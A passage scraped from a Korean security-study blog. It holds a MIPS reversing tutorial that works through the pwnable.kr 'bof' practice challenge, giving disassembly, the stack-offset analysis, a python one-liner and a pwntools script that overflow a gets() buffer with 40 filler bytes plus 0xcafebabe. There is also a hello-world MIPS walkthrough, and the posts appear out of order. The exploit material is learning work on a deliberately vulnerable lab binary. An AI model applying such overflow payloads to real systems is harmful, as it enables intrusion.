이제야 ROP가 뭔지 개념정도는 알게 된거 같네요, 익숙해지도록 다른 문제들도 열심히 풀어봐야겠습니다!

'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (4) 2017.07.31
PEDA / pwnable.kr bof문제  (0) 2017.07.12
  1. nop 2019.05.07 17:58

    read나 write는 안그러는데 왜 system() 만 offset으로 접근하나요?

원래 이번 포스팅 계획은 if분기문만 다뤄보려구했지만 욕심이 조금 생겨서 내친김에 BOF까지 도전해봤습니다.

pwnable.kr의 Toddler`s bottle bof문제 소스 그대로 사용했습니다. 다만 mips에서 컴파일하고 분석했을뿐!

분석하면서 크게 어려움을 겪어던 점은 없었으니, 보시는 분들도 수월하리라 생각합니다.

한가지 다른점이 있다면 x86에서는 리틀엔디안이였지만, mips에서는 빅엔디안이라는 사실이구요,


자세한 곳은 이곳을 참조하시기 바랍니다.

[참조] http://javawoo.tistory.com/27


1. C 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
 
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);
 
        if(key == 0xcafebabe){
                printf("Overflow Success!\n");
        }
        else{
                printf("Nah.. Overflow Fail :(\n");
        }
}
 
 
int main(int argc, char *argv[]){
 
        func(0xdeadbeef);
 
        return 0;
}



우선, 이 포스팅은 mips에 대한 내용을 기록하기 위함이며 해당 문제에 대한 풀이는 전에 포스팅한 적이 있으므로

BOF에 대해서는 자세히 풀이하지 않겠습니다. BOF에 대한 것을 알고 싶으시다면 아래 링크를 참조해주세요.


http://bachs.tistory.com/entry/PEDA-pwnablekr-bof%EB%AC%B8%EC%A0%9C


음,, 우선 소스는 별 것이 없습니다.

main함수에서 func라는 함수에 0xdeadbeef 값을 input으로 넣어주는데, 이 값을 func내에서

0xcafebabe라는 값과 비교한 후, BOF가 성공했는 지 실패했는 지 보여주는 코드입니다.


func함수 내부에 존재하는 oveflowme[32] 변수를 이용하여 BOF하면 될 것 같아요.


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function main:
   0x0040072c <+0>:  addiu sp,sp,-32
   0x00400730 <+4>:  sw ra,28(sp)
   0x00400734 <+8>:  sw s8,24(sp)
   0x00400738 <+12>: move  s8,sp
   0x0040073c <+16>: sw a0,32(s8)
   0x00400740 <+20>: sw a1,36(s8)
   0x00400744 <+24>: lui   v0,0xdead
   0x00400748 <+28>: ori   a0,v0,0xbeef
   0x0040074c <+32>: jal   0x4006a0 <func>
   0x00400750 <+36>: move  at,at
   0x00400754 <+40>: move  v0,zero
   0x00400758 <+44>: move  sp,s8
   0x0040075c <+48>: lw ra,28(sp)
   0x00400760 <+52>: lw s8,24(sp)
   0x00400764 <+56>: addiu sp,sp,32
   0x00400768 <+60>: jr ra
   0x0040076c <+64>: move  at,at
End of assembler dump.



한번에 보려면 빡세니까 크게크게 main을 먼저 살펴보고, 실제 오버플로우를 발생시킬 func함수를 살펴봅시다.


2-1. main함수

위의 다섯 번째 줄까지는 지난 포스팅에서 살펴봤듯이 함수 프레임을 준비하는 작업을 하고 있습니다.

스택의 크기를 늘려주고, 현재 프레임 포인터를 백업하고 현재 프레임포인터 값을 스택포인터값으로 바꿔주는 작업이지요


a0 부터 a3까지의 레지스터들은 서브루틴 콜의 파라미터로 사용하기 위한 레지스터였습니다.

현재 까지는 a0 ~ a3레지스터에 접근 한 적이 없으니, 현재는 main의 파라미터들인 argc와 argv가 셋팅이 되어 있을 것으로 생각이 됩니다.



짜잔 하고 직접 찍어보니 욥! 예상대로 argc와 argv가 셋팅이 되어있네요,


lui는 지난 포스팅에서 소개했던 대로 타겟 레지스터의 상위 2바이트에 값을 넣는다고 했습니다.

lui v0, 0xdead 

=> v0 = 0xdead0000 의 상태가 될꺼에요


ori는 처음보니까 한번 찾아볼까요?

ori(OR Immediate) 타겟 레지스터에 OR연산을 해서 값을 넣어주는 명령어네요, 

a0 = v0 | 0x0000beef 

=> a0 = 0xdead0000 OR 0x0000beef 

=> a0 = 0xdeadbeef

이렇게 해서 a0에 func함수의 인자인 0xdeadbeef의 값이 저장된 것을 알 수 있습니다.

그 이후 func 함수를 호출하고 스택프레임 해제 후 프로그램이 종료되고 있습니다.


2-2. func 함수

이제 실제로 우리가 살펴봐야할 overflow를 내야하는 func함수를 본격적으로 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump of assembler code for function func:
   0x004006a0 <+0>:   addiu sp,sp,-64
   0x004006a4 <+4>:   sw ra,60(sp)
   0x004006a8 <+8>:   sw s8,56(sp)
   0x004006ac <+12>:  move  s8,sp
   0x004006b0 <+16>:  sw a0,64(s8)
   0x004006b4 <+20>:  lui   v0,0x40
   0x004006b8 <+24>:  addiu v0,v0,2304
   0x004006bc <+28>:  move  a0,v0
   0x004006c0 <+32>:  jal   0x400540 <printf@plt>
   0x004006c4 <+36>:  move  at,at
   0x004006c8 <+40>:  addiu v0,s8,24
   0x004006cc <+44>:  move  a0,v0
   0x004006d0 <+48>:  jal   0x400550 <gets@plt>
   0x004006d4 <+52>:  move  at,at
   0x004006d8 <+56>:  lw v1,64(s8)
   0x004006dc <+60>:  lui   v0,0xcafe
   0x004006e0 <+64>:  ori   v0,v0,0xbabe
   0x004006e4 <+68>:  bne   v1,v0,0x400704 <func+100>
   0x004006e8 <+72>:  move  at,at
   0x004006ec <+76>:  lui   v0,0x40
   0x004006f0 <+80>:  addiu a0,v0,2320
   0x004006f4 <+84>:  jal   0x400560 <puts@plt>
   0x004006f8 <+88>:  move  at,at
   0x004006fc <+92>:  j  0x400714 <func+116>
   0x00400700 <+96>:  move  at,at
   0x00400704 <+100>: lui   v0,0x40
   0x00400708 <+104>:   addiu a0,v0,2340
   0x0040070c <+108>:   jal   0x400560 <puts@plt>
   0x00400710 <+112>:   move  at,at
   0x00400714 <+116>:   move  sp,s8
   0x00400718 <+120>:   lw ra,60(sp)
   0x0040071c <+124>:   lw s8,56(sp)
   0x00400720 <+128>:   addiu sp,sp,64
   0x00400724 <+132>:   jr ra
   0x00400728 <+136>:   move  at,at
End of assembler dump.



중점적으로 봐야할 곳은 overflowme변수가 스택에서 어디에 위치하고 있는지?
그리고 함수의 input인 0xdeadbeef는 어디에 위치하고 있는지?
그래서 두 값간의 주소 차가 얼마나 나는지? 를 파악해야 오버플로우를 내면서 분기를 조작할 수 있을 거에요.

앞서 여러 번 살펴봤던 스택프레임을 구성하는 부분은 생략하고, 빠르게 살펴보겠습니다.
우선 overflowme변수의 위치부터 확인해보겠습니다.

C소스에서 gets함수를 통해 overflowme변수에 값을 넣었다는 것 기억나시나요?
mips에서는 함수 파라미터를 정해주기 위해 a0 ~ a3까지 사용했고, gets함수는 overflowme 변수 하나만을 파라미터로 받았으니
gets함수 콜 전에 a0에 어떤 값이 셋팅되고 있는 지를 살펴보면 overflowme를 추적해볼 수 있습니다.

12번 째 라인을 보면, 
addiu v0, s8, 24 
=> v0 = s8+24 
=> v0 = 베이스 포인터 + 24 한 곳의 값을 저장

13번 째 라인에서는 
move a0, v0
=> a0 = v0

14번 째 라인에서 gets를 호출하고 있습니다.

12 ~ 14라인 까지 살펴 본 결과 overflowme변수는 s8+24에 있는 것으로 보입니다. 직접 확인을 해보면!
 


저는 input 값을 AAAAA로 넣어주고 실행을 하였고, 결과적으로 제대로 분석했음을 알 수 있습니다.


gets함수 실행 후 16라인부터 다시 봅시다요

lw v1, 64(s8)

=> v1 = s8+64

=> v1에 s8+64값을 저장한 후


main에서 0xdeadbeef를 저장했던 똑같은 패턴으로 v0에 0xcafebabe를 저장했습니다.

그리고


19번째 라인에서

bne v1, v0, 0x400704


bne(branch on not equal) : 값을 비교해서 두 값이 같지 않으면 해당 주소로 점프를 뛰라는 명령어 입니다.

오호, 그럼 C소스에서 if( key == 0xcafebabe ) 이 분기를 뜻하는 것이겠네요.

그렇다면 분석한 정황상 s8+64에 함수의 input인 0xdeadbeef가 있다는 뜻??


정답! 그럼 이제 풀어낼 수 있을 것같아요.

overflowme와 함수 input과의 거리는 40만큼 나고 있기 때문에 40개의 dummy + 0xcafebabe를 넣어주면 뙇 하고 풀리겠네요.



3. exploit

사실 (python -c 'print "\x90"*40+"\xca\xfe\xba\xbe"') | ./bof 라고만 해도 풀리지만, pwntools모듈을 리마인드 하기위해서

pwntools로 풀어봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ssh(host='192.168.234.138', user='root', password='root', port=22)
= s.run('./prac/bof/bof')
data = p.recvuntil('overflow me : ')
print data 
 
payload = '\x90'*40 + '\xca\xfe\xba\xbe'
 
p.sendline(payload)
data = p.recvline()
 
print data 



어려운 코드는 없으시지요?

ssh 커넥션을 맺은 후 bof파일을 실행해 프로세스를 생성해서

overflowme : 라는 응답을 받으면


우리가 분석해서 만들어 낸 페이로드를 날려주면 끝입니다.

맨 처음 앞서 말씀 드렸다 시피 mips는 빅엔디안이기 때문에, \xbe\xba\xfe\xca의 형태가 아니라

\xca\xfe\xba\xbe로 우리가 보는 대로 값을 넣어주었습니다.


실행 결과는 위 사진처럼 아주 깔끔하게 해결되었습니다!


다음 포스팅은 반복문과 관련해서 하도록 하고.. 추후에 실제 프로그램들을 뜯어볼 지, 어떻게 할지는 정해봐야겠습니다. 



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (10) 2017.09.06

이번 포스팅에서는 가장 기본인 hello world 프로그램을 MIPS아키텍쳐에서 리버싱을 해본 것을 다루어보도록하겠습니다.

추후 분기문, 반복문 등 기본적인 구문에 대해서 하나씩 추가해 볼 생각입니다.


MIPS에서 사용하는 레지스터에 대한 설명과 기본적인 명령어에 대한 설명은 아래 이곳을 참조하였습니다.

[참조] http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm


1. C소스

몇 줄안되지만 리버싱해볼 프로그램을 먼저 살펴보겠습니다.


1
2
3
4
5
6
7
8
9
10
11
//hello.c
#include <stdio.h>
 
int main(int argc, char *argv[]){
 
    printf("argc    = %d\n", argc);
    printf("argv[0] = %s\n", argv[0]);
    printf("argv[1] = %s\n", argv[1]);
 
    return 0;
}




메인함수에서 argc와 argv들을 출력해는 프로그램입니다.

./hello hi

[출력예시]

argc        = 2

argv[0]     = /root/hello

argv[1]     = hi


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
   0x00400640 <+0>:      addiu    sp,sp,-32
   0x00400644 <+4>:      sw     ra,28(sp)
   0x00400648 <+8>:      sw     s8,24(sp)
   0x0040064c <+12>:     move     s8,sp
   0x00400650 <+16>:     sw     a0,32(s8)
   0x00400654 <+20>:     sw     a1,36(s8)
   0x00400658 <+24>:     lui     v0,0x40
   0x0040065c <+28>:     addiu    v0,v0,2144
   0x00400660 <+32>:     move     a0,v0
   0x00400664 <+36>:     lw     a1,32(s8)
   0x00400668 <+40>:     jal     0x400500 <printf@plt>
   0x0040066c <+44>:     move     at,at
   0x00400670 <+48>:     lui     v0,0x40
   0x00400674 <+52>:     addiu    v1,v0,2160
   0x00400678 <+56>:     lw     v0,36(s8)
   0x0040067c <+60>:     lw     v0,0(v0)
   0x00400680 <+64>:     move     a0,v1
   0x00400684 <+68>:     move     a1,v0
   0x00400688 <+72>:     jal     0x400500 <printf@plt>
   0x0040068c <+76>:     move     at,at
   0x00400690 <+80>:     lui     v0,0x40
   0x00400694 <+84>:     addiu    v1,v0,2176
   0x00400698 <+88>:     lw     v0,36(s8)
   0x0040069c <+92>:     addiu    v0,v0,4
   0x004006a0 <+96>:     lw     v0,0(v0)
   0x004006a4 <+100>:    move     a0,v1
   0x004006a8 <+104>:    move     a1,v0
   0x004006ac <+108>:    jal     0x400500 <printf@plt>
   0x004006b0 <+112>:    move     at,at
   0x004006b4 <+116>:    move     v0,zero
   0x004006b8 <+120>:    move     sp,s8
   0x004006bc <+124>:    lw     ra,28(sp)
   0x004006c0 <+128>:    lw     s8,24(sp)
   0x004006c4 <+132>:    addiu    sp,sp,32
   0x004006c8 <+136>:    jr     ra
   0x004006cc <+140>:    move     at,at




gdb에서 확인한 Disassemble Code 전체 입니다. 부분부분 잘라서 확인해봅시다.


1
2
3
4
   0x00400640 <+0>:        addiu   sp,sp,-32
   0x00400644 <+4>:        sw      ra,28(sp)
   0x00400648 <+8>:        sw      s8,24(sp)
   0x0040064c <+12>:     move    s8,sp



첫 번째 라인을 보면 addiu sp,sp,-32 가 되어있습니다. addiu가 어떤놈인지 한번 볼까요?

addiu (add immediate unsigned) , 오버플로우 무시
[예시] addiu $s1, $s2, 100 => $s1 = $s2 + 100

위와 같이 addiu는 첫 번째 레지스터에 두 번째 레지스터와 세 번째 상수 값을 더하여 저장하는 명령어입니다.
따라서 addiu sp,sp,-32 는 sp = sp -32 정도로 표현해 볼 수 있겠네요.


sp는 느낌적인 느낌으로 stack pointer라는 것을 알 수 있죠?
따라서 이 한 줄에 의미는 스택의 크기를 32바이트만큼 증가 시키는, x86의 구문과 대비하면
sub esp, 0x20 와 같은 역할을 하는 놈이 될꺼에요.


두 번째 라인은 sw ra, 28(sp) 입니다. 너무 생소하기 때문에 하나씩 또 잘라서 봅시다.

sw (Store Word)

레지스터의 값을 메모리에 Word사이즈만큼(4byte) 저장하는 명령어 입니다.

여기서 주의 깊게 보아야할 부분은 

sw source_register, destination_memory 로 표현된다는 점이에요.


ra (Return Address)

말그대로 리턴 주소를 가지고 있는 레지스터입니다.


28(sp)

이런 표현은 sp + 28을 뜻합니다. +28을 스택포인터의 오프셋으로 사용해서 스택에 접근하겠다는 뜻이지요


그래서 종합적으로 두 번째 라인은 어떻게 해석되느냐!

현재 리턴 주소를 sp+28에 저장해라 ~ 라는 뜻이 되겠습니다.


세 번째 라인은 sw s8, 24(sp) 입니다.

두 번째 라인과 비슷한 형태로 저장할 값만 바뀌었네요, s8를 sp+24에 저장해라! 가 되겠죠?

s8은 mips에서 프레임 포인터 레지스터입니다. x86에서 ebp와 같다고 생각하시면 될거 같네요.


네 번째 라인은 move s8, sp에요! move는 말그대로 값을 이동시키는 명령어 이고 x86에서 mov와 같습니다.

그러니까 s8 = sp가 되겠죠?


그럼 종합적으로 위의 네 라인이 무슨 일을 했는지 봅시다!

스택의 크기를 증가 시켰고, 현재 리턴어드레스와 프레임 포인터를 메모리에 저장했습니다.

그리고 프레임포인터에 스택포인터 값을 넣어주었죠.


네, 맞습니다. 스택프레임을 구성하는 구문이지요? 익숙한 x86으로 보면

push ebp

mov ebp, esp

sub esp, 0x20

함수 시작과 동시에 이루어지는 이 것과 비슷하게 움직이고 있습니다.



이제 두 번째 부분을 볼까요?

1
2
3
4
5
6
7
   0x00400650 <+16>:    sw     a0,32(s8)
   0x00400654 <+20>:    sw     a1,36(s8)
   0x00400658 <+24>:    lui    v0,0x40
   0x0040065c <+28>:    addiu  v0,v0,2144
   0x00400660 <+32>:    move   a0,v0
   0x00400664 <+36>:    lw     a1,32(s8)
   0x00400668 <+40>:    jal    0x400500 <printf@plt>



여기서 새롭게 보이는 명령어는 lui, lw, jal 정도가 있네요? 나머지는 위에 본 것들라 수월할거에요

두 번째 부분 첫 째 라인은 sw a0, 32(s8) 입니다.

a0 ~ a3 레지스터는 서브 루틴을 호출 할 때 파라미터들을 저장하는 레지스터입니다.

그럼 자연스레, main함수의 파라미터들이 a0~a3에 위치하고 있다고 생각해볼 수 있겠네요,


여기서는 s8+32에 a0의 값을 저장하고 있네요, s8은 아까 위에서 ebp랑 같은 프레임 포인터라고 했죠?

직접 a0에 어떤 값이 들어 있는 지 한번 찍어보도록 합시다.

레지스터의 용도에 따르면 a0에는 메인함수의 첫 번째 파라미터인 argc가 들어 있어야할 거에요.


브레이크 포인트를 걸고 나서  hi라는 argument를 주고 실행을 한 후 값을 찍어보니까!


0x2가 나왔어요. 파라미터를 하나 주고(./hello hi) 실행 했으니까, argc가 2일테고... 오호, 그럼 a0에 argc(0x2)가 들어있는게 맞고, 

이 값을 스택에 저장해 주겠다는 뜻이 되겠네요.


같은 방식으로 a1의 값을 확인하면

argv[0]의 포인터가 들어있는 것을 알 수 있습니당


음? 그럼 a2에는 프로그램 실행 환경변수의 포인터 값이 들어 있어야 겠죠? 

확인해보니까 맞네요 ㅎ;;



여하튼! 다시 본론으로 돌아오면, 두 번째 라인에서는 s8+36에(스택에) argv[] 포인터 값을 넣어주었어요,,


세 번째 라인은 lui v0, 0x40 으로 lui연산을 하고 있습니다. lui연산은 해당 레지스터의 상위 두바이트에 값을 로드하는 명령어인데요,

따라서 v0 = 0x00400000 와 같이 표현해 볼 수 있겠습니다.


네 번째 라인에서는 addiu v0, 2144 이고,

v0 = v0+2144 니까

v0 = 0x00400000 + 2144

v0 = 0x400860 이 되겠습니다.


다섯 번째 라인에서는 move a0, v0

a0 = v0 이고, 네 번째 라인에서 연산한 결과를 a0에 넣어주고있어요, 0x400860에는 어떤 값이 들어 있는 것일까요?


오, 프로그램에서 처음으로 호출 하는 printf의 첫 번째 파라미터가 들어 있었네요,

위에서 a0~a3은 서브루틴에서 함수호출을 하기전 파라미터가 셋팅되는 레지스터라고 했었죠?

이제 printf를 호출 할 준비를 하나보네요.


여섯 번째 라인!

lw a1, 32(s8) 은 Load Word 명령어로 레지스터를 Destination으로 메모리에서 값을 로드해오는 명령어 입니다.

따라서, a1 = s8+32 가 될거고, s8+32에는 첫 번째 라인에서 값을 넣어준 argc가 들어 있을 거에요.


두 번째 부분의 마지막라인인 일곱 번째 라인은

jal 0x400500 <printf@plt> 네요, jal은 옆에 <printf@plt>라고 써있는 걸 보고 눈치 채셨겠지만,

x86에서 call과 비슷한 명령어 입니다. Jump and Link이고, 동작은 해당 함수 주소로 Jump! 하고 다음 명령어 주소를

ra레지스터에 셋팅해줘서 Link하는 명령어 입니다.


printf를 호출 하는데 첫 번째 파라미터에는 a0의 값 "argc     = %d\n"

두 번째 파라미터에는 a1의 값 0x2를 가지고 호출을 하게 되겠지요!


두 번째 이하 부분도 비슷한 형식으로 printf를 호출 하고 있기에 설명은 생략하겠습니다.


혹시 포스팅 중 부족한 부분이나, 틀린 부분은 피드백 주시면 감사하겠습니다. 질문도 좋아요~ :)



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (10) 2017.09.06
  1. 해피빈이 2017.09.14 17:49 신고

    MIPS는 항상 안드로이드에서 빌드는 하지만 실체가 궁금했는데.. IoT에 있다니..ㅎㅎ 덕분에 알고가오!
    유용한 블로그니 이런곳은 즐겨찾기에! >_<ㅋㅋ

+ Recent posts